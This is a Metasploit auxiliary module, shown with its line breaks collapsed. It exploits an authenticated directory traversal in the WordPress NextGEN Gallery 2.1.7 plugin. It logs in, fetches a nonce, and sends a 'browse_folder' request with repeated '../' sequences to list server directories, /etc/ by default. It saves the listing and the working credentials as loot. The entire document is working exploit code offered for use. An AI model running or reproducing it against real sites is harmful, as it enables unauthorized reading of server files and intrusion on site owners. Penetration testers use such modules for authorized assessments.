WordPress NextGEN Gallery Directory Read

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'json'require 'nokogiri'class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Report  include Msf::Exploit::Remote::HTTP::Wordpress  include Msf::Auxiliary::Scanner  def initialize(info = {})    super(update_info(info,      'Name'           => 'WordPress NextGEN Gallery Directory Read Vulnerability',      'Description'    => %q{        This module exploits an authenticated directory traversal vulnerability        in WordPress Plugin "NextGEN Gallery" version 2.1.7, allowing        to read arbitrary directories with the web server privileges.      },      'References'     =>        [          ['WPVDB', '8165'],          ['URL', 'http://permalink.gmane.org/gmane.comp.security.oss.general/17650']        ],      'Author'         =>        [          'Sathish Kumar', # Vulnerability Discovery          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module        ],      'License'        => MSF_LICENSE    ))    register_options(      [        OptString.new('WP_USER', [true, 'A valid username', nil]),        OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]),        OptString.new('DIRPATH', [true, 'The path to the directory to read', '/etc/']),        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])      ])  end  def user    datastore['WP_USER']  end  def password    datastore['WP_PASS']  end  def check    check_plugin_version_from_readme('nextgen-gallery', '2.1.9')  end  def get_nonce(cookie)    res = send_request_cgi(      'uri'    => normalize_uri(wordpress_url_backend, 'admin.php'),      'method' => 'GET',      'vars_get'  => {        'page'    => 'ngg_addgallery'      },      'cookie' => cookie    )    if res && res.redirect? && res.redirection      location = res.redirection      print_status("Following redirect to #{location}")      res = send_request_cgi(        'uri'    => location,        'method' => 'GET',        'cookie' => cookie      )    end    res.body.scan(/var browse_params = {"nextgen_upload_image_sec":"(.+)"};/).flatten.first  end  def parse_paths(res)    begin      j = JSON.parse(res.body)    rescue JSON::ParserError => e      elog(e)      return []    end    html = j['html']    noko = Nokogiri::HTML(html)    links = noko.search('a')    links.collect { |e| normalize_uri("#{datastore['DIRPATH']}/#{e.text}") }  end  def run_host(ip)    vprint_status("Trying to login as: #{user}")    cookie = wordpress_login(user, password)    if cookie.nil?      print_error("Unable to login as: #{user}")      return    end    store_valid_credential(user: user, private: password, proof: cookie)    vprint_status("Trying to get nonce...")    nonce = get_nonce(cookie)    if nonce.nil?      print_error("Can not get nonce after login")      return    end    vprint_status("Got nonce: #{nonce}")    traversal = "../" * datastore['DEPTH']    filename = datastore['DIRPATH']    filename = filename[1, filename.length] if filename =~ /^\//    res = send_request_cgi(      'method'    => 'POST',      'uri'       => normalize_uri(target_uri.path),      'headers'   => {        'Referer' => "http://#{rhost}/wordpress/wp-admin/admin.php?page=ngg_addgallery",        'X-Requested-With' => 'XMLHttpRequest'      },      'vars_get'  => {        'photocrati_ajax' => '1'      },      'vars_post' => {        'nextgen_upload_image_sec' => "#{nonce}",        'action' => 'browse_folder',        'dir' => "#{traversal}#{filename}"      },      'cookie'    => cookie    )    if res && res.code == 200      paths = parse_paths(res)      vprint_line(paths * "\n")      fname = datastore['DIRPATH']      path = store_loot(        'nextgen.traversal',        'text/plain',        ip,        paths * "\n",        fname      )      print_good("File saved in: #{path}")    else      print_error("Nothing was downloaded. You can try to change the DIRPATH.")    end  endend